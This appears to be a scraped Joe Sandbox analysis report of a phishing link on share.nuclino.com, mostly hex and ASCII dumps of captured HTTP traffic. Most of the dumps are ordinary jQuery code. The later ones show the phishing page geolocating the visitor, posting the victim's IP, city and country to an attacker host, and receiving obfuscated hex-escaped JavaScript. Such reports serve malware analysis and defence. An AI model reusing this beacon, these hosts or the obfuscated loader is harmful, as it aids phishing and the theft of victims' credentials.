2024-10-18 09:20:35 UTC	16384	IN	Data Raw: 20 69 20 5d 2c 20 61 72 67 73 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 66 6f 72 20 28 20 69 20 69 6e 20 6f 62 6a 20 29 20 7b 0a 09 09 09 09 09 76 61 6c 75 65 20 3d 20 63 61 6c 6c 62 61 63 6b 2e 61 70 70 6c 79 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 61 72 67 73 20 29 3b 0a 0a 09 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 2f 2f 20 41 20 73 70 65 63 69 61 6c 2c 20 66 61 73 74 2c 20 63 61 73 65 20 66 6f 72 20 74 68 65 20 6d 6f 73 74 Data Ascii: i ], args );if ( value === false ) {break;}}} else {for ( i in obj ) {value = callback.apply( obj[ i ], args );if ( value === false ) {break;}}}// A special, fast, case for the most
2024-10-18 09:20:35 UTC	16384	IN	Data Raw: 09 09 64 65 66 65 72 72 65 64 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 20 63 6f 6e 74 65 78 74 73 2c 20 76 61 6c 75 65 73 20 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 3b 0a 09 09 09 7d 2c 0a 0a 09 09 09 70 72 6f 67 72 65 73 73 56 61 6c 75 65 73 2c 20 70 72 6f 67 72 65 73 73 43 6f 6e 74 65 78 74 73 2c 20 72 65 73 6f 6c 76 65 43 6f 6e 74 65 78 74 73 3b 0a 0a 09 09 2f 2f 20 61 64 64 20 6c 69 73 74 65 6e 65 72 73 20 74 6f 20 44 65 66 65 72 72 65 64 20 73 75 62 6f 72 64 69 6e 61 74 65 73 3b 20 74 72 65 61 74 20 6f 74 68 65 72 73 20 61 73 20 72 65 73 6f 6c 76 65 64 0a 09 09 69 66 20 28 20 6c 65 6e 67 74 68 20 3e 20 31 20 29 20 7b 0a 09 09 09 70 72 6f 67 72 65 73 73 56 61 6c 75 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 20 6c 65 6e 67 74 68 20 29 3b 0a 09 09 Data Ascii: deferred.resolveWith( contexts, values );}};},progressValues, progressContexts, resolveContexts;// add listeners to Deferred subordinates; treat others as resolvedif ( length > 1 ) {progressValues = new Array( length );
2024-10-18 09:20:35 UTC	16384	IN	Data Raw: 65 6c 65 6d 20 3d 20 74 68 69 73 5b 30 5d 2c 0a 09 09 09 69 20 3d 20 30 2c 0a 09 09 09 64 61 74 61 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2f 20 47 65 74 73 20 61 6c 6c 20 76 61 6c 75 65 73 0a 09 09 69 66 20 28 20 6b 65 79 20 3d 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 69 66 20 28 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 64 61 74 61 20 3d 20 6a 51 75 65 72 79 2e 64 61 74 61 28 20 65 6c 65 6d 20 29 3b 0a 0a 09 09 09 09 69 66 20 28 20 65 6c 65 6d 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 26 26 20 21 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 65 6c 65 6d 2c 20 22 70 61 72 73 65 64 41 74 74 72 73 22 20 29 20 29 20 7b 0a 09 09 09 09 09 61 74 74 72 73 20 3d 20 65 6c 65 6d 2e 61 74 74 72 69 62 75 74 65 73 3b 0a 09 09 Data Ascii: elem = this[0],i = 0,data = null;// Gets all valuesif ( key === undefined ) {if ( this.length ) {data = jQuery.data( elem );if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {attrs = elem.attributes;
2024-10-18 09:20:35 UTC	16384	IN	Data Raw: 0a 09 09 75 73 65 6d 61 70 3a 20 22 75 73 65 4d 61 70 22 2c 0a 09 09 66 72 61 6d 65 62 6f 72 64 65 72 3a 20 22 66 72 61 6d 65 42 6f 72 64 65 72 22 2c 0a 09 09 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3a 20 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 0a 09 7d 2c 0a 0a 09 70 72 6f 70 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 6e 61 6d 65 2c 20 76 61 6c 75 65 20 29 20 7b 0a 09 09 76 61 72 20 72 65 74 2c 20 68 6f 6f 6b 73 2c 20 6e 6f 74 78 6d 6c 2c 0a 09 09 09 6e 54 79 70 65 20 3d 20 65 6c 65 6d 2e 6e 6f 64 65 54 79 70 65 3b 0a 0a 09 09 2f 2f 20 64 6f 6e 27 74 20 67 65 74 2f 73 65 74 20 70 72 6f 70 65 72 74 69 65 73 20 6f 6e 20 74 65 78 74 2c 20 63 6f 6d 6d 65 6e 74 20 61 6e 64 20 61 74 74 72 69 62 75 74 65 20 6e 6f 64 65 73 0a 09 09 69 Data Ascii: usemap: "useMap",frameborder: "frameBorder",contenteditable: "contentEditable"},prop: function( elem, name, value ) {var ret, hooks, notxml,nType = elem.nodeType;// don't get/set properties on text, comment and attribute nodesi
2024-10-18 09:20:36 UTC	16384	IN	Data Raw: 3e 20 31 20 3f 0a 09 09 09 09 62 75 62 62 6c 65 54 79 70 65 20 3a 0a 09 09 09 09 73 70 65 63 69 61 6c 2e 62 69 6e 64 54 79 70 65 20 7c 7c 20 74 79 70 65 3b 0a 0a 09 09 09 2f 2f 20 6a 51 75 65 72 79 20 68 61 6e 64 6c 65 72 0a 09 09 09 68 61 6e 64 6c 65 20 3d 20 28 20 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 63 75 72 2c 20 22 65 76 65 6e 74 73 22 20 29 20 7c 7c 20 7b 7d 20 29 5b 20 65 76 65 6e 74 2e 74 79 70 65 20 5d 20 26 26 20 6a 51 75 65 72 79 2e 5f 64 61 74 61 28 20 63 75 72 2c 20 22 68 61 6e 64 6c 65 22 20 29 3b 0a 09 09 09 69 66 20 28 20 68 61 6e 64 6c 65 20 29 20 7b 0a 09 09 09 09 68 61 6e 64 6c 65 2e 61 70 70 6c 79 28 20 63 75 72 2c 20 64 61 74 61 20 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 4e 61 74 69 76 65 20 68 61 6e 64 6c 65 72 0a 09 09 09 Data Ascii: > 1 ?bubbleType :special.bindType \|\| type;// jQuery handlerhandle = ( jQuery._data( cur, "events" ) \|\| {} )[ event.type ] && jQuery._data( cur, "handle" );if ( handle ) {handle.apply( cur, data );}// Native handler
2024-10-18 09:20:36 UTC	16384	IN	Data Raw: 28 65 6c 65 6d 2e 74 79 70 65 20 21 3d 3d 20 22 72 61 64 69 6f 22 20 26 26 20 65 6c 65 6d 2e 74 79 70 65 20 21 3d 3d 20 22 63 68 65 63 6b 62 6f 78 22 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 65 76 65 6e 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 2c 0a 0a 09 09 74 65 61 72 64 6f 77 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 20 74 68 69 73 2c 20 22 2e 5f 63 68 61 6e 67 65 22 20 29 3b 0a 0a 09 09 09 72 65 74 75 72 6e 20 21 72 66 6f 72 6d 45 6c 65 6d 73 2e 74 65 73 74 28 20 74 68 69 73 2e 6e 6f 64 65 4e 61 6d 65 20 29 3b 0a 09 09 7d 0a 09 7d 3b 0a 7d 0a 0a 2f Data Ascii: (elem.type !== "radio" && elem.type !== "checkbox") ) {return event.handleObj.handler.apply( this, arguments );}},teardown: function() {jQuery.event.remove( this, "._change" );return !rformElems.test( this.nodeName );}};}/
2024-10-18 09:20:36 UTC	16384	IN	Data Raw: 76 61 72 20 6d 20 3d 20 63 6f 6e 74 65 78 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 20 69 64 20 29 3b 0a 09 09 09 09 2f 2f 20 43 68 65 63 6b 20 70 61 72 65 6e 74 4e 6f 64 65 20 74 6f 20 63 61 74 63 68 20 77 68 65 6e 20 42 6c 61 63 6b 62 65 72 72 79 20 34 2e 36 20 72 65 74 75 72 6e 73 0a 09 09 09 09 2f 2f 20 6e 6f 64 65 73 20 74 68 61 74 20 61 72 65 20 6e 6f 20 6c 6f 6e 67 65 72 20 69 6e 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 23 36 39 36 33 0a 09 09 09 09 72 65 74 75 72 6e 20 6d 20 26 26 20 6d 2e 70 61 72 65 6e 74 4e 6f 64 65 20 3f 20 5b 6d 5d 20 3a 20 5b 5d 3b 0a 09 09 09 7d 0a 09 09 7d 3b 0a 09 09 45 78 70 72 2e 66 69 6c 74 65 72 5b 22 49 44 22 5d 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 69 64 20 29 20 7b 0a 09 09 09 76 61 72 20 61 74 74 72 49 Data Ascii: var m = context.getElementById( id );// Check parentNode to catch when Blackberry 4.6 returns// nodes that are no longer in the document #6963return m && m.parentNode ? [m] : [];}};Expr.filter["ID"] = function( id ) {var attrI
2024-10-18 09:20:36 UTC	16384	IN	Data Raw: 77 68 69 6c 65 20 28 20 28 6e 6f 64 65 20 3d 20 6e 6f 64 65 5b 20 64 69 72 20 5d 29 20 29 20 7b 0a 09 09 09 09 09 09 09 09 09 69 66 20 28 20 6f 66 54 79 70 65 20 3f 20 6e 6f 64 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 6e 61 6d 65 20 3a 20 6e 6f 64 65 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 29 20 7b 0a 09 09 09 09 09 09 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 09 09 2f 2f 20 52 65 76 65 72 73 65 20 64 69 72 65 63 74 69 6f 6e 20 66 6f 72 20 3a 6f 6e 6c 79 2d 2a 20 28 69 66 20 77 65 20 68 61 76 65 6e 27 74 20 79 65 74 20 64 6f 6e 65 20 73 6f 29 0a 09 09 09 09 09 09 09 09 73 74 61 72 74 20 3d 20 64 69 72 20 3d 20 Data Ascii: while ( (node = node[ dir ]) ) {if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {return false;}}// Reverse direction for :only-* (if we haven't yet done so)start = dir =
2024-10-18 09:20:36 UTC	16384	IN	Data Raw: 20 65 6c 65 6d 20 29 20 3e 20 2d 31 3b 0a 09 09 7d 2c 20 69 6d 70 6c 69 63 69 74 52 65 6c 61 74 69 76 65 2c 20 74 72 75 65 20 29 2c 0a 09 09 6d 61 74 63 68 65 72 73 20 3d 20 5b 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 63 6f 6e 74 65 78 74 2c 20 78 6d 6c 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 28 20 21 6c 65 61 64 69 6e 67 52 65 6c 61 74 69 76 65 20 26 26 20 28 20 78 6d 6c 20 7c 7c 20 63 6f 6e 74 65 78 74 20 21 3d 3d 20 6f 75 74 65 72 6d 6f 73 74 43 6f 6e 74 65 78 74 20 29 20 29 20 7c 7c 20 28 0a 09 09 09 09 28 63 68 65 63 6b 43 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 29 2e 6e 6f 64 65 54 79 70 65 20 3f 0a 09 09 09 09 09 6d 61 74 63 68 43 6f 6e 74 65 78 74 28 20 65 6c 65 6d 2c 20 63 6f 6e 74 65 78 74 2c 20 78 6d 6c 20 29 20 3a 0a 09 Data Ascii: elem ) > -1;}, implicitRelative, true ),matchers = [ function( elem, context, xml ) {return ( !leadingRelative && ( xml \|\| context !== outermostContext ) ) \|\| ((checkContext = context).nodeType ?matchContext( elem, context, xml ) :

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Windows Analysis Report
https://share.nuclino.com/p/Mlanie-BAUDRY-PARTAGER-UN-FICHIER-POUR-RVISION-4ogXl9spWg3RaCX5e3wD3b

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:36 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:36 UTC	721	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:36 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 58 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CcI7dbAKn8uAL2LDensR%2B6q1y3RYJ1OREeVReKIt9rNTYAx1SXWux3D44ZdO3NanRw26M8Se4NyHI5kAIe2qZKDKrisVv3yTRPlfb3ASM4uiIgnayzuqAwvu6NsPKqqe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d477411d8986b14-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:20:36 UTC	648	IN	Data Raw: 34 33 39 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 32 2e 38 31 34 38 39 39 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 36 2e 38 37 39 32 30 34 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 35 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 37 35 32 34 37 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 44 61 6c 6c 61 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 63 6f 6e 74 69 6e Data Ascii: 439{"ipVersion":4,"ipAddress":"155.94.241.186","latitude":32.814899,"longitude":-96.879204,"countryName":"United States of America","countryCode":"US","timeZone":"-05:00","zipCode":"75247","cityName":"Dallas","regionName":"Texas","isProxy":false,"contin
2024-10-18 09:20:36 UTC	440	IN	Data Raw: 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4a 75 6e 65 61 75 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4c 6f 75 69 73 76 69 6c 6c 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4d 6f 6e 74 69 63 65 6c 6c 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 6e 6f 6d 69 6e 65 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 74 6c 61 6b 61 74 6c 61 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 6d 65 22 2c 22 41 6d 65 72 69 63 Data Ascii: evay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nome","Americ
2024-10-18 09:20:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:38 UTC	346	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:38 UTC	731	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:38 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 58 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e63D9n86l4iunQrXyrPizX44U3ma0gOqXXJCoflygxjJJY7%2Fbw%2FfZBNQJ%2FU%2Bwa%2F%2Fwm6Y8CFzMDHguhO3hz2cFKqr2B5oKf7lGqK3gWkAebDQTSJZlvE9f9RJB2Go4zTv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d4774217c8747a5-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:20:38 UTC	638	IN	Data Raw: 34 33 39 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 32 2e 38 31 34 38 39 39 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 36 2e 38 37 39 32 30 34 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 35 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 37 35 32 34 37 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 44 61 6c 6c 61 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 69 73 50 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 63 6f 6e 74 69 6e Data Ascii: 439{"ipVersion":4,"ipAddress":"155.94.241.186","latitude":32.814899,"longitude":-96.879204,"countryName":"United States of America","countryCode":"US","timeZone":"-05:00","zipCode":"75247","cityName":"Dallas","regionName":"Texas","isProxy":false,"contin
2024-10-18 09:20:38 UTC	450	IN	Data Raw: 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4a 75 6e 65 61 75 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4c 6f 75 69 73 76 69 6c 6c 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4b 65 6e 74 75 63 6b 79 5c 2f 4d 6f 6e 74 69 63 65 6c 6c 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4c 6f 73 5f 41 6e 67 65 6c 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 6e 6f 6d 69 6e 65 65 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4d 65 74 6c 61 6b 61 74 6c 61 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 41 6d 65 72 69 63 61 5c 2f 4e 6f 6d Data Ascii: Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","America\/Juneau","America\/Kentucky\/Louisville","America\/Kentucky\/Monticello","America\/Los_Angeles","America\/Menominee","America\/Metlakatla","America\/New_York","America\/Nom
2024-10-18 09:20:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:20:38 UTC	760	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: ii64j0n4olj.tkllop.online Connection: keep-alive Content-Length: 107 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-96b9b5e836be46e9ad5ce96801faf5ad.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:20:38 UTC	107	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 4e 6f 72 6d 61 6c 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 44 61 6b 6f 6c 6f 2e 30 30 34 2e 42 61 62 61 26 69 70 3d 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 26 63 69 74 79 3d 44 61 6c 6c 61 73 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 Data Ascii: PageType=Normal&NAMEOFTHEGUY=Dakolo.004.Baba&ip=155.94.241.186&city=Dallas&country=United+States+of+America
2024-10-18 09:20:38 UTC	740	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:20:38 GMT Content-Type: application/json Content-Length: 2452406 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bxIG1NJBiGgGMhz1wqqIVAyXzWfVq%2Bx5KVGM0EUnCcCOH8QCy2XcxtL61r1%2FzTfJnWMjB06EgnMQqVVNB1oa9Xh%2BJx%2FW0qQz11AJW1kH0itDgJhCxeVOCQiyNf8235ACdpjU2xd8NopQKA4J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d47742178872cda-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:20:38 UTC	629	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 31 64 36 38 3d 5b 5c 22 5c 5c 78 37 33 5c 5c 78 36 38 5c 5c 78 36 39 5c 5c 78 36 36 5c 5c 78 37 34 5c 22 2c 5c 22 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 33 5c 5c 78 36 38 5c 22 2c 5c 22 5c 5c 78 30 41 5c 5c 78 30 41 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 34 38 5c 5c 78 37 34 5c 5c 78 36 44 5c 5c 78 36 43 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 36 5c 5c 78 36 46 5c 5c 78 36 46 5c 5c 78 Data Ascii: {"output": "var _0x1d68=[\"\\x73\\x68\\x69\\x66\\x74\",\"\\x70\\x75\\x73\\x68\",\"\\x0A\\x0A\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x47\\x6F\\x64\\x61\\x64\\x64\\x79\\x48\\x74\\x6D\\x6C\\x22\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x66\\x6F\\x6F\\x
2024-10-18 09:20:38 UTC	1369	IN	Data Raw: 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 37 33 5c 5c 78 33 41 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 30 41 5c 5c 78 37 44 5c 5c 78 32 30 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 34 5c 5c 78 37 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 38 5c 5c 78 36 31 5c 5c 78 37 32 5c 5c 78 37 33 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 35 35 5c 5c 78 35 34 5c 